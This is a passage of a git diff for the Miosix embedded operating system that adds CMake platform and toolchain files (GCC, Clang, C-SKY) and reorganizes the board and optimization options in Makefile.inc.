foreach(LIST_ITEM ${THE_LIST}) + string(APPEND STR_ITEMS "\n - ${LIST_ITEM}") + endforeach() + message(FATAL_ERROR + " * ${MESSAGE}\n" + " * Remember to delete cmake cache for changes in CMakeLists.txt to have effect (or use --fresh to ignore it)\n" + " * Available options:${STR_ITEMS}") +endfunction() diff --git a/miosix/cmake/Platform/Miosix.cmake b/miosix/cmake/Platform/Miosix.cmake new file mode 100644 index 000000000..19753d955 --- /dev/null +++ b/miosix/cmake/Platform/Miosix.cmake @@ -0,0 +1,34 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# Miosix does not support shared libraries +set_property(GLOBAL PROPERTY TARGET_SUPPORTS_SHARED_LIBS FALSE) + +# File extensions +set(CMAKE_ASM_OUTPUT_EXTENSION .o) +set(CMAKE_C_OUTPUT_EXTENSION .o) +set(CMAKE_CXX_OUTPUT_EXTENSION .o) +set(CMAKE_STATIC_LIBRARY_SUFFIX .a) +set(CMAKE_EXECUTABLE_SUFFIX .elf) diff --git a/miosix/cmake/SetDefaultProgramTarget.cmake b/miosix/cmake/SetDefaultProgramTarget.cmake new file mode 100644 index 000000000..3f1957591 --- /dev/null +++ b/miosix/cmake/SetDefaultProgramTarget.cmake @@ -0,0 +1,35 @@ +# Copyright (C) 2026 by Daniele Cattaneo +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# Creates a target named "program" for programming a board +# +# miosix_set_default_program_target() +# +function(miosix_set_default_program_target TARGET_NAME) + if(TARGET program) + message(FATAL_ERROR "Requested more than one default board programming targets!") + endif() + add_custom_target(program DEPENDS ${TARGET_NAME}) +endfunction() diff --git a/miosix/cmake/Toolchains/clang.cmake b/miosix/cmake/Toolchains/clang.cmake new file mode 100644 index 000000000..fb2a1eb39 --- /dev/null +++ b/miosix/cmake/Toolchains/clang.cmake @@ -0,0 +1,99 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# Add the miosix/cmake path to find the Miosix.cmake platform file +# that defines the Miosix system name +list(APPEND CMAKE_MODULE_PATH ${CMAKE_CURRENT_LIST_DIR}/..) + +# Tell CMake that we are building for an embedded ARM system +set(CMAKE_SYSTEM_NAME Miosix) + +# Names of the compiler and other tools +set(CMAKE_ASM_COMPILER miosix-clang) +set(CMAKE_C_COMPILER miosix-clang) +set(CMAKE_CXX_COMPILER miosix-clang++) +set(CMAKE_AR miosix-llvm-ar) +set(CMAKE_RANLIB miosix-llvm-ranlib) +set(CMAKE_OBJCOPY miosix-llvm-objcopy) +set(CMAKE_OBJDUMP miosix-llvm-objdump) +set(CMAKE_SIZE miosix-llvm-size) + +# Optimization flags for each language and build configuration +set(CMAKE_ASM_FLAGS_DEBUG "") +set(CMAKE_C_FLAGS_DEBUG "-g -gdwarf-4 -O0") +set(CMAKE_CXX_FLAGS_DEBUG "-g -gdwarf-4 -O0") +set(CMAKE_ASM_FLAGS_RELEASE "") +set(CMAKE_C_FLAGS_RELEASE "-O2") +set(CMAKE_CXX_FLAGS_RELEASE "-O2") +set(CMAKE_ASM_FLAGS_RELWITHDEBINFO "") +set(CMAKE_C_FLAGS_RELWITHDEBINFO "-g -gdwarf-4 -O2") +set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-g -gdwarf-4 -O2") +set(CMAKE_ASM_FLAGS_MINSIZEREL "") +set(CMAKE_C_FLAGS_MINSIZEREL "-Os") +set(CMAKE_CXX_FLAGS_MINSIZEREL "-Os") + +# Setting the target for crosscompilation +# https://stackoverflow.com/questions/54539682/how-to-set-up-cmake-to-cross-compile-with-clang-for-arm-embedded-on-windows +set(CLANG_TARGET_TRIPLE arm-none-eabi) +set(CMAKE_ASM_COMPILER_TARGET ${CLANG_TARGET_TRIPLE}) +set(CMAKE_C_COMPILER_TARGET ${CLANG_TARGET_TRIPLE}) +set(CMAKE_CXX_COMPILER_TARGET ${CLANG_TARGET_TRIPLE}) + +# Miosix llvm compiler path +if(NOT DEFINED MIOSIX_LLVM_PATH) + find_program(MIOSIX_LLVM_PATH NAMES ${CMAKE_CXX_COMPILER}) + # Follow any symlinks to the real executable + get_filename_component(MIOSIX_LLVM_PATH "${MIOSIX_LLVM_PATH}" REALPATH) + # Get llvm path by getting the parent directory two times + get_filename_component(MIOSIX_LLVM_PATH "${MIOSIX_LLVM_PATH}" DIRECTORY) + get_filename_component(MIOSIX_LLVM_PATH "${MIOSIX_LLVM_PATH}" DIRECTORY) +endif() +set(CMAKE_SYSROOT ${MIOSIX_LLVM_PATH}) + +# Miosix gcc compiler path +set(MIOSIX_GCC_PATH /opt/arm-miosix-eabi CACHE PATH "Path to the miosix gcc compiler") + +# gcc multilib include paths (multilib link directories are set in miosix/CMakeLists.txt, after knowing the target board) +include_directories( + ${MIOSIX_GCC_PATH}/arm-miosix-eabi/include/c++/9.2.0/arm-miosix-eabi + ${MIOSIX_GCC_PATH}/arm-miosix-eabi/include/c++/9.2.0 + ${MIOSIX_GCC_PATH}/arm-miosix-eabi/include +) + +# Needed for compatibility with gcc compiled multilibs +add_compile_options(-fshort-enums) + +# Set gcc linker for clang +add_link_options(-fuse-ld=${MIOSIX_GCC_PATH}/bin/arm-miosix-eabi-ld) + +# We want to test for a static library and not an executable +# reference: https://stackoverflow.com/questions/53633705/cmake-the-c-compiler-is-not-able-to-compile-a-simple-test-program +set(CMAKE_TRY_COMPILE_TARGET_TYPE "STATIC_LIBRARY") + +# Defines used by the Miosix patches to the libraries/opt/arm-miosix-eabi/arm-miosix-eabi/lib/thumb/cm4/hardfp/fpv4sp +add_compile_definitions($<$:__GXX_TYPEINFO_EQUALITY_INLINE=0>) +add_compile_definitions($<$:_MIOSIX>) +add_compile_definitions($<$:_MIOSIX_GCC_PATCH_MAJOR=3>) +add_compile_definitions($<$:_MIOSIX_GCC_PATCH_MINOR=1>) diff --git a/miosix/cmake/Toolchains/gcc-csky.cmake b/miosix/cmake/Toolchains/gcc-csky.cmake new file mode 100644 index 000000000..224c3ea7c --- /dev/null +++ b/miosix/cmake/Toolchains/gcc-csky.cmake @@ -0,0 +1,59 @@ +# CK803S / HR_C7000 (Ailunce HD2) GCC toolchain file for Miosix. +# Copy of gcc.cmake retargeted from arm-miosix-eabi to the patched +# csky-miosix-elf toolchain (installed at /opt/csky-miosix-elf). The CPU flags +# (-mcpu=ck803 -EL) come from the chip CMakeLists (MIOSIX_CPU_FLAGS), not here. +# +# Select with: cmake -DCMAKE_TOOLCHAIN_FILE=miosix/cmake/Toolchains/gcc-csky.cmake +# +# Original copyright (C) 2024 by Skyward, GPL v2+ with the linking exception. + +# Add the miosix/cmake path to find the Miosix.cmake platform file +list(APPEND CMAKE_MODULE_PATH ${CMAKE_CURRENT_LIST_DIR}/..) + +# Tell CMake that we are building for an embedded Miosix system +set(CMAKE_SYSTEM_NAME Miosix) + +# Select compiler — the patched C-SKY Miosix toolchain +set(MIOSIX_PREFIX csky-miosix-elf) + +# From compiler prefix form the name of the compiler and other tools +set(CMAKE_ASM_COMPILER ${MIOSIX_PREFIX}-gcc) #Compiling asm with GCC to allow #ifdef +set(CMAKE_C_COMPILER ${MIOSIX_PREFIX}-gcc) +set(CMAKE_CXX_COMPILER ${MIOSIX_PREFIX}-g++) +set(CMAKE_AR ${MIOSIX_PREFIX}-ar) +set(CMAKE_RANLIB ${MIOSIX_PREFIX}-ranlib) +set(CMAKE_OBJCOPY ${MIOSIX_PREFIX}-objcopy) +set(CMAKE_OBJDUMP ${MIOSIX_PREFIX}-objdump) +set(CMAKE_SIZE ${MIOSIX_PREFIX}-size) +set(MIOSIX_READELF ${MIOSIX_PREFIX}-readelf) + +# Optimization flags for each language and build configuration +set(CMAKE_ASM_FLAGS_DEBUG "") +set(CMAKE_C_FLAGS_DEBUG "-g -O0") +set(CMAKE_CXX_FLAGS_DEBUG "-g -O0") +set(CMAKE_ASM_FLAGS_RELEASE "") +set(CMAKE_C_FLAGS_RELEASE "-O2") +set(CMAKE_CXX_FLAGS_RELEASE "-O2") +set(CMAKE_ASM_FLAGS_RELWITHDEBINFO "") +set(CMAKE_C_FLAGS_RELWITHDEBINFO "-g -O2") +set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-g -O2") +set(CMAKE_ASM_FLAGS_MINSIZEREL "") +set(CMAKE_C_FLAGS_MINSIZEREL "-Os") +set(CMAKE_CXX_FLAGS_MINSIZEREL "-Os") + +# NOTE: the upstream gcc.cmake runs tools/compiler_check.pl to gate the compiler +# version. It may not recognise the csky-miosix-elf banner; if it rejects the +# build, the check is bypassable (the toolchain is gcc 15.2.0, well above the +# minimum). Left in for now — revisit at first build. +execute_process(COMMAND + perl ${CMAKE_CURRENT_LIST_DIR}/../../tools/compiler_check.pl + ${CMAKE_C_COMPILER} + OUTPUT_VARIABLE MIOSIX_COMPILER_IS_COMPATIBLE +) +if(NOT MIOSIX_COMPILER_IS_COMPATIBLE EQUAL 0) + message(FATAL_ERROR + "You are using a too old or unsupported compiler. " + "Get the latest one from " + "https://miosix.org/wiki/index.php?title=Miosix_Toolchain" + ) +endif() diff --git a/miosix/cmake/Toolchains/gcc.cmake b/miosix/cmake/Toolchains/gcc.cmake new file mode 100644 index 000000000..7342de15e --- /dev/null +++ b/miosix/cmake/Toolchains/gcc.cmake @@ -0,0 +1,73 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# Add the miosix/cmake path to find the Miosix.cmake platform file +# that defines the Miosix system name +list(APPEND CMAKE_MODULE_PATH ${CMAKE_CURRENT_LIST_DIR}/..) + +# Tell CMake that we are building for an embedded ARM system +set(CMAKE_SYSTEM_NAME Miosix) + +# Select compiler +set(MIOSIX_PREFIX arm-miosix-eabi) + +# From compiler prefix form the name of the compiler and other tools +set(CMAKE_ASM_COMPILER ${MIOSIX_PREFIX}-gcc) #Compiling asm with GCC to allow #ifdef +set(CMAKE_C_COMPILER ${MIOSIX_PREFIX}-gcc) +set(CMAKE_CXX_COMPILER ${MIOSIX_PREFIX}-g++) +set(CMAKE_AR ${MIOSIX_PREFIX}-ar) +set(CMAKE_RANLIB ${MIOSIX_PREFIX}-ranlib) +set(CMAKE_OBJCOPY ${MIOSIX_PREFIX}-objcopy) +set(CMAKE_OBJDUMP ${MIOSIX_PREFIX}-objdump) +set(CMAKE_SIZE ${MIOSIX_PREFIX}-size) +set(MIOSIX_READELF ${MIOSIX_PREFIX}-readelf) + +# Optimization flags for each language and build configuration +set(CMAKE_ASM_FLAGS_DEBUG "") +set(CMAKE_C_FLAGS_DEBUG "-g -O0") +set(CMAKE_CXX_FLAGS_DEBUG "-g -O0") +set(CMAKE_ASM_FLAGS_RELEASE "") +set(CMAKE_C_FLAGS_RELEASE "-O2") +set(CMAKE_CXX_FLAGS_RELEASE "-O2") +set(CMAKE_ASM_FLAGS_RELWITHDEBINFO "") +set(CMAKE_C_FLAGS_RELWITHDEBINFO "-g -O2") +set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-g -O2") +set(CMAKE_ASM_FLAGS_MINSIZEREL "") +set(CMAKE_C_FLAGS_MINSIZEREL "-Os") +set(CMAKE_CXX_FLAGS_MINSIZEREL "-Os") + +# Check the compiler's version +execute_process(COMMAND + perl ${CMAKE_CURRENT_LIST_DIR}/../../tools/compiler_check.pl + ${CMAKE_C_COMPILER} + OUTPUT_VARIABLE MIOSIX_COMPILER_IS_COMPATIBLE +) +if(NOT MIOSIX_COMPILER_IS_COMPATIBLE EQUAL 0) + message(FATAL_ERROR + "You are using a too old or unsupported compiler. " + "Get the latest one from " + "https://miosix.org/wiki/index.php?title=Miosix_Toolchain" + ) +endif() diff --git a/miosix/config/Makefile.inc b/miosix/config/Makefile.inc index 890ae84a9..b75bedab1 100644 --- a/miosix/config/Makefile.inc +++ b/miosix/config/Makefile.inc @@ -1,68 +1,71 @@ ## -## Makefile for Miosix embedded OS -## -## This file contains the options required by the build system to build -## Miosix on various target architectures. All options start with OPT_ -## to be easily recognizable. -## All architecture specific build code is grouped at the end of this file. +## Configuration makefile for Miosix embedded OS +## +## All options start with OPT_ to be easily recognizable. ## ## -## Target board, choose one. This also implicitly select the target -## architecture +## Target board, choose one. ## +#OPT_BOARD := atsam4lc2aa_generic +#OPT_BOARD := efm32g222f128_generic +#OPT_BOARD := efm32gg332f1024_wandstem +#OPT_BOARD := lpc2138_generic #OPT_BOARD := lpc2138_miosix_board -#OPT_BOARD := stm32f103ze_stm3210e-eval -#OPT_BOARD := stm32f103ve_mp3v2 +#OPT_BOARD := nrf52840_generic +#OPT_BOARD := rp2040_raspberry_pi_pico +#OPT_BOARD := stm32f030r8_stm32f0discovery +#OPT_BOARD := stm32f072rb_stm32f0discovery +#OPT_BOARD := stm32f100c8_microboard +#OPT_BOARD := stm32f100c8_vaisala_rs41 +#OPT_BOARD := stm32f100cb_tempsensor #OPT_BOARD := stm32f100rb_stm32vldiscovery +#OPT_BOARD := stm32f100rc_solertegiard +#OPT_BOARD := stm32f100xb_generic +#OPT_BOARD := stm32f103c8_bluepill +#OPT_BOARD := stm32f103cb_als_mainboard_rev2 +#OPT_BOARD := stm32f103ve_mp3v2 #OPT_BOARD := stm32f103ve_strive_mini +#OPT_BOARD := stm32f103xb_generic #OPT_BOARD := stm32f103ze_redbull_v2 -#OPT_BOARD := stm32f407vg_stm32f4discovery +#OPT_BOARD := stm32f103ze_stm3210e-eval +#OPT_BOARD := stm32f205_generic +#OPT_BOARD := stm32f205rc_skyward_stormtrooper +#OPT_BOARD := stm32f205rg_sony-newman #OPT_BOARD := stm32f207ig_stm3220g-eval +#OPT_BOARD := stm32f207ze_als_camboard #OPT_BOARD := stm32f207zg_ethboard_v2 #OPT_BOARD := stm32f207zg_nucleo -#OPT_BOARD := stm32f207ze_als_camboard -#OPT_BOARD := stm32l151_als_mainboard +#OPT_BOARD := stm32f303vc_stm32f3discovery +#OPT_BOARD := stm32f401re_nucleo +#OPT_BOARD := stm32f401vc_stm32f4discovery #OPT_BOARD := stm32f407vg_bitsboard -#OPT_BOARD := stm32f205rg_sony-newman -#OPT_BOARD := stm32f429zi_stm32f4discovery -#OPT_BOARD := stm32f103cb_als_mainboard_rev2 -#OPT_BOARD := stm32f100cb_tempsensor -#OPT_BOARD := stm32f429zi_oledboard2 -#OPT_BOARD := efm32gg332f1024_wandstem +#OPT_BOARD := stm32f407vg_stm32f4discovery +#OPT_BOARD := stm32f407vg_thermal_test_chip +#OPT_BOARD := stm32f411ce_blackpill #OPT_BOARD := stm32f411re_nucleo +#OPT_BOARD := stm32f415vg_st25dvdiscovery +#OPT_BOARD := stm32f429zi_oledboard2 #OPT_BOARD := stm32f429zi_skyward_anakin -#OPT_BOARD := stm32f100rc_solertegiard -#OPT_BOARD := stm32f205rc_skyward_stormtrooper -#OPT_BOARD := stm32f401vc_stm32f4discovery -#OPT_BOARD := stm32f103c8_breakout -#OPT_BOARD := stm32f100c8_microboard -#OPT_BOARD := stm32f469ni_stm32f469i-disco #OPT_BOARD := stm32f429zi_skyward_homeone -#OPT_BOARD := stm32f401re_nucleo +#OPT_BOARD := stm32f429zi_stm32f4discovery +#OPT_BOARD := stm32f469ni_stm32f469i-disco #OPT_BOARD := stm32f746zg_nucleo -#OPT_BOARD := stm32h753xi_eval -#OPT_BOARD := stm32h723zg_nucleo -#OPT_BOARD := stm32f407vg_thermal_test_chip -#OPT_BOARD := stm32f205_generic -#OPT_BOARD := stm32f103cx_generic -#OPT_BOARD := stm32f072rb_stm32f0discovery -#OPT_BOARD := stm32f100cx_generic -#OPT_BOARD := stm32f303vc_stm32f3discovery -#OPT_BOARD := stm32f100c8_vaisala_rs41 -#OPT_BOARD := stm32l476rg_nucleo -#OPT_BOARD := atsam4lc2aa_generic -#OPT_BOARD := stm32f411ce_blackpill -#OPT_BOARD := stm32l4r9zi_sensortile +#OPT_BOARD := stm32f765ii_marco_ram_board #OPT_BOARD := stm32f767zi_nucleo #OPT_BOARD := stm32f769ni_discovery -#OPT_BOARD := stm32f415vg_st25dvdiscovery -#OPT_BOARD := efm32g222f128_generic -#OPT_BOARD := stm32l053r8_nucleo -#OPT_BOARD := stm32f030r8_stm32f0discovery -#OPT_BOARD := stm32f765ii_marco_ram_board -#OPT_BOARD := rp2040_raspberry_pi_pico +#OPT_BOARD := stm32h503rb_generic +#OPT_BOARD := stm32h723zg_nucleo +#OPT_BOARD := stm32h753xi_eval #OPT_BOARD := stm32h755zi_nucleo +#OPT_BOARD := stm32l010rb_nucleo +#OPT_BOARD := stm32l053r8_nucleo +#OPT_BOARD := stm32l151c8_als_mainboard +#OPT_BOARD := stm32l152re_nucleo +#OPT_BOARD := stm32l476rg_nucleo +#OPT_BOARD := stm32l4r9zi_sensortile +#OPT_BOARD := stm32u535cb_rrc +#OPT_BOARD := stm32u585ci_generic ## ## Optimization flags, choose one. @@ -70,10 +73,16 @@ ## -O2 is recomended otherwise, as it provides a good balance between code ## size and speed ## -#OPT_OPTIMIZATION := -O0 -OPT_OPTIMIZATION := -O2 -#OPT_OPTIMIZATION := -O3 -#OPT_OPTIMIZATION := -Os +#OPT_OPTIMIZATION ?= -O0 +OPT_OPTIMIZATION ?= -O2 +#OPT_OPTIMIZATION ?= -O3 +#OPT_OPTIMIZATION ?= -Os + +## Optimization flags for userspace processes +#PROC_OPT_OPTIMIZATION ?= -O0 +PROC_OPT_OPTIMIZATION ?= -O2 +#PROC_OPT_OPTIMIZATION ?= -O3 +#PROC_OPT_OPTIMIZATION ?= -Os ## ## C++ Exception/rtti support disable flags. @@ -86,3229 +95,20 @@ OPT_OPTIMIZATION := -O2 ## C++ Exception/rtti support disable flags for userspace processes #PROC_OPT_EXCEPT := -fno-exceptions -fno-rtti -D__NO_EXCEPTIONS -############################################################################# -## Board specific options -############################################################################# - -##--------------------------------------------------------------------------- -## lpc2138_miosix_board -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f103ze_stm3210e-eval -## -ifeq ($(OPT_BOARD),stm32f103ze_stm3210e-eval) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH stack in internal RAM heap in external RAM (file - ## *_xram.ld) useful for hardware like STM3210E-EVAL when big heap is - ## needed. The microcontroller must have an external memory interface. - ## 3) Code + stack + heap in external RAM, (file *_all_in_xram.ld) - ## useful for debugging code in hardware like STM3210E-EVAL. Code runs - ## *very* slow compared to FLASH. Works only with a booloader that - ## forwards interrrupts @ 0x68000000 (see miosix/_tools/bootloaders for - ## one). - ## The microcontroller must have an external memory interface. - ## Warning! enable external ram if you use a linker script that requires it - ## (see the XRAM flag below) - LINKER_SCRIPT_PATH := arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+64k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+64k_xram.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+64k_xram_processes.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+64k_all_in_xram.ld - - ## Enable/disable initialization of external RAM at boot. Three options: - ## __ENABLE_XRAM : If you want the heap in xram (with an appropriate linker - ## script selected above) - ## __ENABLE_XRAM and __CODE_IN_XRAM : Debug mode with code + stack + heap - ## in xram (with an appropriate linker script selected above) - ## none selected : don't use xram (with an appropriate linker script - ## selected above) - #XRAM := -D__ENABLE_XRAM - XRAM := -D__ENABLE_XRAM -D__CODE_IN_XRAM - - ## Select clock frequency - ## Not defining any of these results in the internal 8MHz clock to be used - #CLOCK_FREQ := -DSYSCLK_FREQ_24MHz=24000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_36MHz=36000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_48MHz=48000000 - #CLOCK_FREQ := -DSYSCLK_FREQ_56MHz=56000000 - CLOCK_FREQ := -DSYSCLK_FREQ_72MHz=72000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f103ve_mp3v2 -## -ifeq ($(OPT_BOARD),stm32f103ve_mp3v2) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## 2) Code + stack + heap in internal RAM (file *_ram.ld) - ## Note: this board relies on a bootloader for interrupt forwarding in ram - LINKER_SCRIPT_PATH := arch/cortexM3_stm32f1/stm32f103ve_mp3v2/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+64k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_512k+64k_ram.ld - -endif - -##--------------------------------------------------------------------------- -## stm32f103ve_strive_mini -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f103ze_redbull_v2 -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f407vg_stm32f4discovery -## -ifeq ($(OPT_BOARD),stm32f407vg_stm32f4discovery) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## 2) Code + stack + heap in internal RAM (file *_ram.ld) - ## 3) Same as 1) but space has been reserved for a process pool, allowing - ## to configure the kernel with "#define WITH_PROCESSES" - LINKER_SCRIPT_PATH := arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/ - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+192k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+192k_ram.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+192k_rom_processes.ld - - ## This causes the interrupt vector table to be relocated in SRAM, must be - ## uncommented when using the ram linker script - #SRAM_BOOT := -DVECT_TAB_SRAM - - ## Select clock frequency (HSE_VALUE is the xtal on board, fixed) - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_168MHz=168000000 - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_100MHz=100000000 - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_84MHz=84000000 - -endif - -##--------------------------------------------------------------------------- -## stm32f207ig_stm3220g-eval -## -ifeq ($(OPT_BOARD),stm32f207ig_stm3220g-eval) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH stack in internal RAM heap in external RAM (file - ## *_xram.ld) useful for hardware like STM3220G-EVAL when big heap is - ## needed. The microcontroller must have an external memory interface. - ## 3) Code + stack + heap in external RAM, (file *_all_in_xram.ld) - ## useful for debugging code in hardware like STM3220G-EVAL. Code runs - ## *very* slow compared to FLASH. Works only with a booloader that - ## forwards interrrupts @ 0x64000000 (see miosix/_tools/bootloaders for - ## one). - ## The microcontroller must have an external memory interface. - ## 4) Same as 3) but space has been reserved for a process pool, allowing - ## to configure the kernel with "#define WITH_PROCESSES" - ## 5) Code in FLASH, kernel stack+heap in internal RAM, ELF pool in Flash - ## and process pool in external RAM. - ## 6) Code in FLASH, kernel heap, data and bss in external RAM. Kernel heap - ## (used for boot and IRQs) in internal RAM. - ## Warning! enable external ram if you use a linker script that requires it - ## (see the XRAM flag below) - LINKER_SCRIPT_PATH := arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+128k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+128k_xram.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+128k_all_in_xram.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+128k_xram_processes.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+128k_xram-data-bss-heap.ld - - ## Enable/disable initialization of external RAM at boot. Three options: - ## __ENABLE_XRAM : If you want the heap in xram (with an appropriate linker - ## script selected above) - ## __ENABLE_XRAM and __CODE_IN_XRAM : Debug mode with code + stack + heap - ## in xram (with an appropriate linker script selected above) - ## none selected : don't use xram (with an appropriate linker script - ## selected above) - #XRAM := -D__ENABLE_XRAM - XRAM := -D__ENABLE_XRAM -D__CODE_IN_XRAM - -endif - -##--------------------------------------------------------------------------- -## stm32f207zg_ethboard_v2 -## -ifeq ($(OPT_BOARD),stm32f207zg_ethboard_v2) - - ## Linker script type, there are two options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in external RAM, stack + heap in internal RAM - ## (file *_code_in_xram.ld) useful for debugging. Code runs - ## *very* slow compared to FLASH. Works only with a booloader that - ## forwards interrrupts @ 0x60000000 (see miosix/_tools/bootloaders for - ## one). - ## You must -D__CODE_IN_XRAM below. - LINKER_SCRIPT_PATH := arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+128k_rom.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_1m+128k_code_in_xram.ld - - ## XRAM is always enabled on this board, even if the _rom linker script - ## does not make explicit use of it. - ## Uncommenting __CODE_IN_XRAM (with an appropriate linker script selected - ## above) allows to run code from external RAM, useful for debugging - XRAM := -D__CODE_IN_XRAM - -endif - -##--------------------------------------------------------------------------- -## stm32f207zg_nucleo -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f205rg_sony-newman -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f407vg_bitsboard -## - -# No options - -##--------------------------------------------------------------------------- -## stm32f429zi_stm32f4discovery -## -ifeq ($(OPT_BOARD),stm32f429zi_stm32f4discovery) - - ## Linker script type, there are three options - ## 1) Code in FLASH, stack + heap in internal RAM (file *_rom.ld) - ## the most common choice, available for all microcontrollers - ## 2) Code in FLASH, stack + heap in external RAM (file *8m_xram.ld) - ## You must uncomment -D__ENABLE_XRAM below in this case. - ## 3) Code in FLASH, stack + heap in external RAM (file *6m_xram.ld) - ## Same as above, but leaves the upper 2MB of RAM for the LCD. - LINKER_SCRIPT_PATH := arch/cortexM4_stm32f4/stm32f429zi_stm32f4discovery/ - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+256k_rom.ld - #LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+8m_xram.ld - LINKER_SCRIPT := $(LINKER_SCRIPT_PATH)stm32_2m+6m_xram.ld - - ## Uncommenting __ENABLE_XRAM enables the initialization of the external - ## 8MB SDRAM memory. Do not uncomment this even if you don't use a linker - ## script that requires it, as it is used for the LCD framebuffer. - XRAM := -D__ENABLE_XRAM - - ## Select clock frequency. Warning: the default clock frequency for - ## this board is 168MHz and not 180MHz because, due to a limitation in - ## the PLL, it is not possible to generate a precise 48MHz output when - ## running the core at 180MHz. If 180MHz is chosen the USB peripheral will - ## NOT WORK and the SDIO and RNG will run ~6% slower (45MHz insteand of 48) - #CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_180MHz=180000000 - CLOCK_FREQ := -DHSE_VALUE=8000000 